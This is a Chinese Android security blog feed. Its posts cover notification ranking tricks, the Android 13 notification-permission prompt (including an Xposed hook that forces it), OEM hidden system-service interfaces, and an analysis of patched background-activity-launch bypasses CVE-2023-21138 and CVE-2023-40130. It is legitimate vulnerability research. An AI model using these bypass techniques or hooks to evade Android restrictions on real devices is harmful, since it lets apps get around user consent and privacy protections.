    if (contactAffinityComparison != 0) {
        return -1 * contactAffinityComparison;
    }

    // Whether or not the notification can bypass DND.
    final int leftPackagePriority = left.getPackagePriority();
    final int rightPackagePriority = right.getPackagePriority();
    if (leftPackagePriority != rightPackagePriority) {
        // by priority, high to low
        return -1 * Integer.compare(leftPackagePriority, rightPackagePriority);
    }

    final int leftPriority = left.getSbn().getNotification().priority;
    final int rightPriority = right.getSbn().getNotification().priority;
    if (leftPriority != rightPriority) {
        // by priority, high to low
        return -1 * Integer.compare(leftPriority, rightPriority);
    }

    // then break ties by time, most recent first
    return -1 * Long.compare(left.getRankingTimeMs(), right.getRankingTimeMs());
}

每个判断条件的解释如下:

  1. importance:如果一个大于等于default,一个小于default,则按importance排序;
  2. getRankingScore:这个从applyAdjustments中过来,应用不能控制;
  3. isImportantColorized:这个需要android.permission.USE_COLORIZED_NOTIFICATIONS权限,普通应用无法申请;
  4. isImportantOngoing:应用可配置;
  5. isImportantMessaging:这个必须满足isDefaultMessagingApp,即系统默认短信应用,需用户主动配置;
  6. isImportantPeople:和通讯录设置有关,非应用干预;
  7. isSystemMax:包名必须是android或者com.android.systemui;
  8. getPackagePriority:取决于canBypassDnd,即该应用是否可绕过Do Not Disturb;
  9. priority:应用可配置;
  10. getRankingTimeMs:时间,可由开发者决定但是不能超过通知发出的时间,如下所示。

提升通知优先级

通知发出时间

一种比较流行的方法是设置通知时间为未来时间:

public void postNotificationTop() {
    NotificationManager notificationManager = (NotificationManager)
            getSystemService(Context.NOTIFICATION_SERVICE);
    NotificationChannel channel = new NotificationChannel("channel_id",
            "channel_name", NotificationManager.IMPORTANCE_HIGH);
    notificationManager.createNotificationChannel(channel);
    NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "channel_id")
            .setContentTitle("Title")
            .setContentText("text")
            .setSmallIcon(R.mipmap.ic_launcher)
            .setPriority(NotificationCompat.PRIORITY_MAX)
            .setWhen(System.currentTimeMillis() + 10000)
            .setShowWhen(false)
            .setAutoCancel(true);
    notificationManager.notify(0, builder.build());
}

setWhen设置时间为当前时间+10000毫秒,然后setShowWhen为false。然而实际上这样设置并不起作用,因为代码中判断了不能超过通知发出时间,所以实际还是通知优先级决定了排序。

// frameworks/base/services/core/java/com/android/server/notification/NotificationRecord.java
/**
 * @param previousRankingTimeMs for updated notifications, {@link #getRankingTimeMs()}
 *     of the previous notification record, 0 otherwise
 */
private long calculateRankingTimeMs(long previousRankingTimeMs) {
    Notification n = getNotification();
    // Take developer provided 'when', unless it's in the future.
    if (n.when != 0 && n.when <= getSbn().getPostTime()) {
        return n.when;
    }
    // If we've ranked a previous instance with a timestamp, inherit it. This case is
    // important in order to have ranking stability for updating notifications.
    if (previousRankingTimeMs > 0) {
        return previousRankingTimeMs;
    }
    return getSbn().getPostTime();
}

Ongoing通知

Ongoing的方式是可以的,配置setOngoing(true)即可:

public void postNotificationTop() {
    NotificationManager notificationManager = (NotificationManager)
            getSystemService(Context.NOTIFICATION_SERVICE);
    NotificationChannel channel = new NotificationChannel("capcut_top",
            "capcut top", NotificationManager.IMPORTANCE_HIGH);
    notificationManager.createNotificationChannel(channel);
    NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "capcut_top")
            .setContentTitle("Capcut")
            .setContentText("置顶消息测试")
            .setSmallIcon(R.mipmap.ic_launcher)
            .setPriority(NotificationCompat.PRIORITY_MAX)
            .setOngoing(true)
            .setShowWhen(false)
            .setAutoCancel(true);
    notificationManager.notify(0, builder.build());
}

配置mBypassDnd=true

在getPackagePriority的比较中,实际比较的是mPackagePriority:

public int getPackagePriority() {
    return mPackagePriority;
}

而setPackagePriority又是决定于NotificationChannel的canBypassDnd:

public RankingReconsideration process(NotificationRecord record) {
    if (record == null || record.getNotification() == null) {
        if (DBG) Slog.d(TAG, "skipping empty notification");
        return null;
    }
    if (mConfig == null) {
        if (DBG) Slog.d(TAG, "missing config");
        return null;
    }
    record.setPackagePriority(record.getChannel().canBypassDnd()
            ? Notification.PRIORITY_MAX : Notification.PRIORITY_DEFAULT);
    return null;
}

最后canBypassDnd是决定于mBypassDnd变量:

/**
 * Whether or not notifications posted to this channel can bypass the Do Not Disturb
 * {@link NotificationManager#INTERRUPTION_FILTER_PRIORITY} mode.
 */
public boolean canBypassDnd() {
    return mBypassDnd;
}

可以通过setBypassDnd来设置

channel.setBypassDnd(true);
]]>
Android 13 通知权限适配弹框原理分析 https://wrlus.com/android-security/android-13-notification-permission/ Sun, 07 Apr 2024 08:10:45 +0000 https://wrlus.com/?p=1149 背景

对于以低于 Android 13 的版本的 SDK 为目标平台的应用,在应用创建至少一个 NotificationChannel 后,拦截首次 activity 启动以显示权限提示,询问用户是否想要接收来自应用的通知。简单来说就是targetSDK在Android 13以前的应用,如果至少有一个NotificationChannel,则在首次Activity启动时会自动弹出通知权限授权。主要分析该机制的原理。来源:https://source.android.com/docs/core/display/notification-perm

分析

在com.android.server.policy.PermissionPolicyService$Internal中,会在ActivityManager准备好后立即注册一个ActivityStartInterceptor:

private void onActivityManagerReady() {
    ActivityTaskManagerInternal atm =
            LocalServices.getService(ActivityTaskManagerInternal.class);
    atm.registerActivityStartInterceptor(
            ActivityInterceptorCallback.PERMISSION_POLICY_ORDERED_ID,
            mActivityInterceptorCallback);
}

实现以下逻辑:

private final ActivityInterceptorCallback mActivityInterceptorCallback =
        new ActivityInterceptorCallback() {
            @Nullable
            @Override
            public ActivityInterceptorCallback.ActivityInterceptResult
                    onInterceptActivityLaunch(@NonNull ActivityInterceptorInfo info) {
                return null;
            }
            @Override
            public void onActivityLaunched(TaskInfo taskInfo, ActivityInfo activityInfo,
                    ActivityInterceptorInfo info) {
                if (!shouldShowNotificationDialogOrClearFlags(taskInfo,
                        activityInfo.packageName, info.getCallingPackage(),
                        info.getIntent(), info.getCheckedOptions(), activityInfo.name,
                        true)
                        || isNoDisplayActivity(activityInfo)) {
                    return;
                }
                UserHandle user = UserHandle.of(taskInfo.userId);
                if (!CompatChanges.isChangeEnabled(NOTIFICATION_PERM_CHANGE_ID,
                        activityInfo.packageName, user)) {
                    // Post the activity start checks to ensure the notification channel
                    // checks happen outside the WindowManager global lock.
                    mHandler.post(() -> showNotificationPromptIfNeeded(
                            activityInfo.packageName, taskInfo.userId, taskInfo.taskId,
                            info));
                }
            }
        };

首先进入shouldShowNotificationDialogOrClearFlags判断,主要检查是否是首次打开的Activity,以及找到一个特定的Task用来弹出授权窗口:

/**
 * Determine if a particular task is in the proper state to show a system-triggered
 * permission prompt. A prompt can be shown if the task is just starting, or the task is
 * currently focused, visible, and running, and,
 * 1. The isEligibleForLegacyPermissionPrompt ActivityOption is set, or
 * 2. The intent is a launcher intent (action is ACTION_MAIN, category is LAUNCHER), or
 * 3. The activity belongs to the same package as the one which launched the task
 * originally, and the task was started with a launcher intent, or
 * 4. The activity is the first activity in a new task, and was started by the app the
 * activity belongs to, and that app has another task that is currently focused, which was
 * started with a launcher intent. This case seeks to identify cases where an app launches,
 * then immediately trampolines to a new activity and task.
 * @param taskInfo The task to be checked
 * @param currPkg The package of the current top visible activity
 * @param callingPkg The package that initiated this dialog action
 * @param intent The intent of the current top visible activity
 * @param options The ActivityOptions of the newly started activity, if this is called due
 *                to an activity start
 * @param startedActivity The ActivityInfo of the newly started activity, if this is called
 *                        due to an activity start
 */
private boolean shouldShowNotificationDialogOrClearFlags(TaskInfo taskInfo, String currPkg,
        String callingPkg, Intent intent, ActivityOptions options,
        String topActivityName, boolean startedActivity) {
    if (intent == null || currPkg == null || taskInfo == null || topActivityName == null
            || (!(taskInfo.isFocused && taskInfo.isVisible && taskInfo.isRunning)
            && !startedActivity)) {
        return false;
    }
    return isLauncherIntent(intent)
            || (options != null && options.isEligibleForLegacyPermissionPrompt())
            || isTaskStartedFromLauncher(currPkg, taskInfo)
            || (isTaskPotentialTrampoline(topActivityName, currPkg, callingPkg, taskInfo,
            intent)
            && (!startedActivity || pkgHasRunningLauncherTask(currPkg, taskInfo)));
}

然后会post执行showNotificationPromptIfNeeded:

void showNotificationPromptIfNeeded(@NonNull String packageName, int userId,
        int taskId, @Nullable ActivityInterceptorInfo info) {
    UserHandle user = UserHandle.of(userId);
    if (packageName == null || taskId == ActivityTaskManager.INVALID_TASK_ID
            || !shouldForceShowNotificationPermissionRequest(packageName, user)) {
        return;
    }
    launchNotificationPermissionRequestDialog(packageName, user, taskId, info);
}

这里面会检查调用shouldForceShowNotificationPermissionRequest进行检查,这个检查比较关键:

private boolean shouldForceShowNotificationPermissionRequest(@NonNull String pkgName,
        @NonNull UserHandle user) {
    AndroidPackage pkg = mPackageManagerInternal.getPackage(pkgName);
    if (pkg == null || pkg.getPackageName() == null
            || Objects.equals(pkgName, mPackageManager.getPermissionControllerPackageName())
            || pkg.getTargetSdkVersion() < Build.VERSION_CODES.M) {
        if (pkg == null) {
            Slog.w(LOG_TAG, "Cannot check for Notification prompt, no package for "
                    + pkgName);
        }
        return false;
    }
    synchronized (mLock) {
        if (!mBootCompleted) {
            return false;
        }
    }
    if (!pkg.getRequestedPermissions().contains(POST_NOTIFICATIONS)
            || CompatChanges.isChangeEnabled(NOTIFICATION_PERM_CHANGE_ID, pkgName, user)
            || mKeyguardManager.isKeyguardLocked()) {
        return false;
    }
    int uid = user.getUid(pkg.getUid());
    if (mNotificationManager == null) {
        mNotificationManager = LocalServices.getService(NotificationManagerInternal.class);
    }
    boolean hasCreatedNotificationChannels = mNotificationManager
            .getNumNotificationChannelsForPackage(pkgName, uid, true) > 0;
    boolean granted = mPermissionManagerInternal.checkUidPermission(uid, POST_NOTIFICATIONS)
            == PackageManager.PERMISSION_GRANTED;
    int flags = mPackageManager.getPermissionFlags(POST_NOTIFICATIONS, pkgName, user);
    boolean explicitlySet = (flags & PermissionManager.EXPLICIT_SET_FLAGS) != 0;
    return !granted && hasCreatedNotificationChannels && !explicitlySet;
}

这里面比较关键的两个检查:

  • checkUidPermission:这个就不用说了,只有在未获得权限的时候才会弹窗
  • (flags & PermissionManager.EXPLICIT_SET_FLAGS) != 0:这个主要是看用户有没有曾经拒绝过权限,或者是否是被设备策略拒绝
    EXPLICIT_SET_FLAGS的定义如下:

    /**
    * The set of flags that indicate that a permission state has been explicitly set
    *
    * @hide
    */
    public static final int EXPLICIT_SET_FLAGS = FLAG_PERMISSION_USER_SET
        | FLAG_PERMISSION_USER_FIXED | FLAG_PERMISSION_POLICY_FIXED
        | FLAG_PERMISSION_SYSTEM_FIXED | FLAG_PERMISSION_GRANTED_BY_DEFAULT
        | FLAG_PERMISSION_GRANTED_BY_ROLE;

    可以看到不仅包含了FLAG_PERMISSION_USER_SET和FLAG_PERMISSION_USER_FIXED这些用户手动拒绝的情况,还包含了FLAG_PERMISSION_POLICY_FIXED等由于设备策略等原因拒绝的情况,以及一些其它情况。都判断完了之后就调用launchNotificationPermissionRequestDialog弹窗:

    private void launchNotificationPermissionRequestDialog(String pkgName, UserHandle user,
        int taskId, @Nullable ActivityInterceptorInfo info) {
    Intent grantPermission = mPackageManager
            .buildRequestPermissionsIntent(new String[] { POST_NOTIFICATIONS });
    // Prevent the front-most activity entering pip due to overlay activity started on top.
    grantPermission.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_NO_USER_ACTION);
    grantPermission.setAction(
            ACTION_REQUEST_PERMISSIONS_FOR_OTHER);
    grantPermission.putExtra(Intent.EXTRA_PACKAGE_NAME, pkgName);
    final boolean remoteAnimation = info != null && info.getCheckedOptions() != null
            && info.getCheckedOptions().getAnimationType() == ANIM_REMOTE_ANIMATION
            && info.getClearOptionsAnimationRunnable() != null;
    ActivityOptions options = remoteAnimation ? ActivityOptions.makeRemoteAnimation(
                info.getCheckedOptions().getRemoteAnimationAdapter(),
                info.getCheckedOptions().getRemoteTransition())
            : new ActivityOptions(new Bundle());
    options.setTaskOverlay(true, false);
    options.setLaunchTaskId(taskId);
    if (remoteAnimation) {
        // Remote animation set on the intercepted activity will be handled by the grant
        // permission activity, which is launched below. So we need to clear remote
        // animation from the intercepted activity and its siblings to prevent duplication.
        // This should trigger ActivityRecord#clearOptionsAnimationForSiblings for the
        // intercepted activity.
        info.getClearOptionsAnimationRunnable().run();
    }
    try {
        mContext.startActivityAsUser(grantPermission, options.toBundle(), user);
    } catch (Exception e) {
        Log.e(LOG_TAG, "couldn't start grant permission dialog"
                + "for other package " + pkgName, e);
    }
    }

    这个权限弹窗也是用的buildRequestPermissionsIntent返回的Intent,只不过action更换成了ACTION_REQUEST_PERMISSIONS_FOR_OTHER,并且添加了EXTRA_PACKAGE_NAME,然后ActivityOptions加了一些动画和taskId相关的,最后调用startActivityAsUser启动。

测试

实际上shouldForceShowNotificationPermissionRequest主要的控制点就是用户有没有拒绝过弹窗,但是实际上PermissionController中也会有类似的检查,如果用户拒绝过弹窗的话,也是不能弹出的,即使是system_server进行放行也不行,这个结论是使用hook进行的验证:

if (loadPackageParam.packageName.equals("android")) {
    MethodHook hooker = new MethodHook.Builder(
            "com.android.server.policy.PermissionPolicyService$Internal", loadPackageParam.classLoader)
            .setMethodName("shouldForceShowNotificationPermissionRequest")
            .addParameter(String.class)
            .addParameter(UserHandle.class)
            .setCallback(new XC_MethodHook() {
                @Override
                protected void afterHookedMethod(MethodHookParam param) {
                    Log.i(TAG, "Previous result: " + param.getResult());
                    param.setResult(true);
                }
            }).build();
    MethodHook.normalInstall(hooker);
}

实际测试的时候,如果用户拒绝过权限弹窗,的确会出现Previous result: false。通过hook临时规避之后,已经看到system_server已经发出了Intent但是还是无法弹出权限授权窗口,推测是PermissionController中对FLAG_PERMISSION_USER_SET和FLAG_PERMISSION_USER_FIXED这类标记还有进一步的检查。顺带补充一下系统发送的Intent的内容:

Intent { act=android.content.pm.action.REQUEST_PERMISSIONS_FOR_OTHER flg=0x10840000 pkg=com.google.android.permissioncontroller cmp=com.google.android.permissioncontroller/com.android.permissioncontroller.permission.ui.GrantPermissionsActivity (has extras) }
[extra] android.intent.extra.PACKAGE_NAME `java.lang.String`: com.example.test
[extra] android.content.pm.extra.REQUEST_PERMISSIONS_NAMES `[Ljava.lang.String;`: [android.permission.POST_NOTIFICATIONS]
[extra] android.content.pm.extra.REQUEST_PERMISSIONS_DEVICE_ID `java.lang.Integer`: 0

总结

本文记录了Android 13通知权限适配弹框生成的原理,本质上和普通权限弹窗一样,只不过是action有区别。然而即使是system_server发出的弹窗也会受到PermissionController对用户拒绝状态检查的限制。

]]>
探寻 Android 系统服务中的内部接口 https://wrlus.com/android-security/inner-service/ Wed, 20 Mar 2024 09:34:28 +0000 https://wrlus.com/?p=1132 前言

我们都知道Android应用程序依赖Binder IPC接口和系统服务通信来完成各种操作,使用系统的各项功能。因为system_server进程中的系统服务负责了Android中许多重要的活动,例如组件、权限等的管理等,所以在OEM实现它们自己的ROM的时候,多多少少会选择为系统服务定制一些供内部使用的接口,从而方便系统级应用或是特定应用实现它们本没有权限进行的一些操作。本文主要记录了不同厂商实现这类接口的偏好,并讨论一些潜在的风险。

厂商实现

华为/荣耀

华为和荣耀原本的代码是同源,所以在很多方面都是非常相似的,不过在分家之后也会各自添加一些不同的功能。

  • 原生扩展服务:除了直接在AOSP系统服务中增加新的AIDL接口,或通过onTransact实现一些裸接口之外,华为和荣耀的ROM中还喜欢在AOSP原生的系统服务中增加一个getHwInnerService接口,这个接口返回一个IBinder对象,而这其中又会包含更多的接口,其类名的特征为HwInnerXXXService或者HwXXXServiceEx
  • 自实现服务:华为和荣耀自己实现的系统服务也会包含丰富的功能,都是直接注册到servicemanager中的,服务名称一般包含hw,不过有些服务会通过system_app进行托管,而不是system_server。还存在一个com.huawei.systemserver的包,但是实际上这是一个system_app。

OPPO

  • 原生扩展服务:除了直接在AOSP系统服务中增加新的AIDL接口,OPPO还利用了Binder的一个原生接口getExtension()来实现对AOSP原生系统服务的扩展,该方法同样返回一个IBinder对象,显然这种实现方式比华为和荣耀的那种要更优雅一点。其类名的特征为OplusXXXServiceEnhance
  • 自实现服务:OPPO自己实现的系统服务也会包含丰富的功能,都是直接注册到servicemanager中的,服务名称一般以oplus开头。需要注意的是,在OPPO的system_server中存在很多所谓的Service,不过经过仔细分析便会发现他们并没有绑定到任何Binder服务。

vivo

  • 原生扩展服务:vivo自定义接口都是直接写到原生服务中的,再调用IVivoXXX,集中在com.android.server.VivoSystemServiceFactoryImpl里面创建,当然这个类里面不都是获取的Binder扩展服务,也有例如ActiveServices这种非Binder服务的,需要注意区分,类名形如:IVivoAms或者IVivoWms
  • 自实现服务:vivo自己实现的系统服务也会包含丰富的功能,在com.android.server.VivoSystemServiceFactoryImpl中的getVivoBinderService获取一个com.android.server.VivoBinderServiceImpl对象,实现IVivoBinderService,而com.android.server.VivoBinderServiceImpl中的服务注册代码位于addVivoBinderService函数(包括Java服务和Native服务)。在该函数中真正创建服务对象的代码位于com.vivo.services.ServiceFactoryImpl中的getXXXService,Native部分在com.android.server.VivoBinderServiceImplloadVivoServersLib中加载了/system/lib64/libvivo_servers.so。此外还有注册在zygote中的一部分的/system/lib64/libvivo_runtime.so,注册点位于com.android.internal.os.ZygoteInit

三星

  • 原生扩展服务:似乎并没有发现三星有很固定的扩展方式。
  • 自实现服务:三星包含很多自实现服务,服务名称一般包含sem,但是三星使用SELinux对它们进行了良好的隔离,所以整体攻击面就比较收敛。

小米

  • 原生扩展服务:小米一般通过原生服务的onTransact来扩展一些接口,这些接口的实现位于XXXServiceStub中,例如ActivityManagerServiceStub,而真正的实现则位于/system_ext/framework目录中,并属于另一个包com.miui.rom,虽然com.miui.rom这个包本身是system_app,但是由于system_server也会加载/system_ext/framework下的代码,所以它们实际上以system_server的权限运行。
  • 自实现服务:小米也包含很多自实现服务,不过并没有很仔细的进行研究过。

总结

本文总结了不同厂商实现自定义系统服务接口的偏好,这些接口的不正确或未鉴权实际上会导致信息泄露和越权操作等结果。经过浅度的研究,实际便可以发现一些简单的漏洞,可以获取到一些系统运行时的机密信息。然而即使这些接口执行了正确的权限校验,实际上也表明OEM开发的系统应用可以利用这些内部接口,一定程度上实现绕过Android SDK中的标准API去访问系统机密信息,甚至是用户敏感数据,且很难被任何照明弹机制记录或进行合规审查。在App隐私合规问题逐渐减少的今日,这类新的访问方式或许已经成为了用户隐私新的潜在威胁。

]]>
BindService错误处理与CVE-2023-21138 & CVE-2023-40130 https://wrlus.com/android-security/bindservice-error-handle/ Fri, 19 Jan 2024 08:00:18 +0000 https://wrlus.com/?p=1121 背景

漏洞分析

  • CVE-2023-21138位于2023 #6补丁中,是一个造成BAL Bypass的漏洞,描述如下:

    In onNullBinding of CallRedirectionProcessor.java, there is a possible long lived connection due to improper input validation. This could lead to local escalation of privilege and background activity launches with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-273260090

  • 对于了解BAL Bypass的同学来说很容易理解,但是新手只看描述可能觉得不知所云。这里需要仔细阅读一下后台Activity启动限制的官方说明,豁免条件里面有这么一段:

    The app has one of the following services that is bound by the system. These services might need to launch a UI.

  • 具体而言有这些服务:

    AccessibilityService, AutofillService, CallRedirectionService, HostApduService, InCallService, TileService, VoiceInteractionService, VrListenerService.

  • 而CallRedirectionProcessor正是和CallRedirectionService交互的类,由于此项豁免的存在,只要我们的应用声明一个CallRedirectionService被系统bindService,就可以后台弹出界面了。到这里其实都没什么问题,因为本来就是这么设计的,但是呢在CallRedirectionProcessor里面对onNullBinding的处理不正确,导致了漏洞出现,这个属于对bindService错误处理不当的问题,下一节我们继续分析。

onNullBinding

  • 这个方法属于ServiceConnection,平时写代码的时候可能开发者就只关注onServiceConnected和onServiceDisconnected,从来没关注过onNullBinding,而且这个方法还不是必须实现。那么我们看下onNullBinding的说明:

    Called when the service being bound has returned null from its onBind() method. This indicates that the attempted service binding represented by this ServiceConnection will never become usable.

  • 同时Google还提醒我们注意:

    Note: The app that requested the binding must still call Context#unbindService(ServiceConnection) to release the tracking resources associated with this ServiceConnection even if this callback was invoked following Context.bindService() bindService().

  • 很好理解,意思就是当onNullBinding被调用的时候,开发者还需要主动调用unbindService去释放资源。那么问题来了,这个情况会不会影响BAL的判断呢?答案是肯定的,实际上在BAL的检查中,当bindService时候会记录被绑定的UID,列入允许后台启动Activity的一个List中,当unBindService的时候才会将其移除,所以如果开发者在onNullBinding被调用的时候,没有主动调用unbindService去释放资源,同样会导致UID记录不会移除,从而导致BAL Bypass。这部分代码可以参考ServiceRecord的源代码,有兴趣的同学可以自己阅读。

交互条件

  • 一般来说比较理想的BAL Bypass需要无条件触发,这样对黑灰产才有实用价值,而该漏洞中想成为CallRedirectionService需要用户主动交互,且需要有电话拨出,所以这种漏洞实用性上比较差,只是去获得Google Bug Bounty。当然如果是TileService其实可以诱骗用户去放到菜单中,这个暂且不讨论。

扩展分析之onBindingDied

  • 那么ServiceConnection中除了onNullBinding,还有没有类似的错误处理回调呢?我们阅读文档发现还是有的,它就是onBindingDied,其API描述:

    Called when the binding to this connection is dead. This means the interface will never receive another connection. The application will need to unbind and rebind the connection to activate it again. This may happen, for example, if the application hosting the service it is bound to has been updated.

  • Google也同样提醒开发者:

    Note: The app that requested the binding must call Context#unbindService(ServiceConnection) to release the tracking resources associated with this ServiceConnection even if this callback was invoked following Context.bindService() bindService().

  • onBindingDied比onNullBinding复杂一点的是,如果开发者为获取到的Binder对象注册了DeathRecipient,那么我们就需要看他在DeathRecipient的回调中有没有调用unbindService,不过很有趣的是在CallRedirectionProcessor中,onBindingDied和DeathRecipient都是没有的。于是我在7月初提交了这个漏洞,官方也予以承认并标记为CVE-2023-40130,在2023 #10补丁中进行了修复,Google对待漏洞的态度还是非常值得赞赏的。

总结

  • 这两个漏洞我们可以从两个角度分析,一方面是开发者需要对官方提供的API更加熟悉,同时考虑各种错误处理的情况。当然另一方面呢我觉得Android有些API设计的确实也不太合理,应该对错误处理进行适当的简化,比如在这个案例中,实际上无论是Binder对方返回null还是对方进程死亡,都完全可以自动地进行unbind操作,而无需开发者自己进行,不然的话就很容易导致开发者出现错误。本例对于普通应用开发者应该影响不大,但是由于系统开发者而言,这就造成漏洞的出现。
]]>